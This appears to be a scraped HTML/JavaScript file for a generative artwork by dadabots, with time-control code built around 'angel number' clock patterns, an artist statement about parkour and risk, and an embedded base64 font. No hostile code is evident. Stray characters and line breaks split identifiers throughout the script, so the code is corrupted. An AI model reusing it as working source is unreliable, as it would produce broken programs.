,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
by dadabots (cj carr)
published feb 14, 2023
This artpiece could cause you to lose everything in your wallet.
In parkour, there's a philosophical mindset one develops with onself, standing at the edge of a rooftop, contemplating the leap across the void, over the infinity of the bottomless pit, to the building across.
To stand at the precipise and contemplate the choice of annihilation, as in the absurdism of Albert Camus, is to come into yourM
 own power and free will. Realize you're always in the driver's seat of your own life.
<meta name="viewport" content="width=device-width, initial-scale=1.0">
  font-family: 'mono';
  font-style: normal;
  font-display: swap;
  src: url("data:application/x-font-woff;charset=utf-8;base64,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
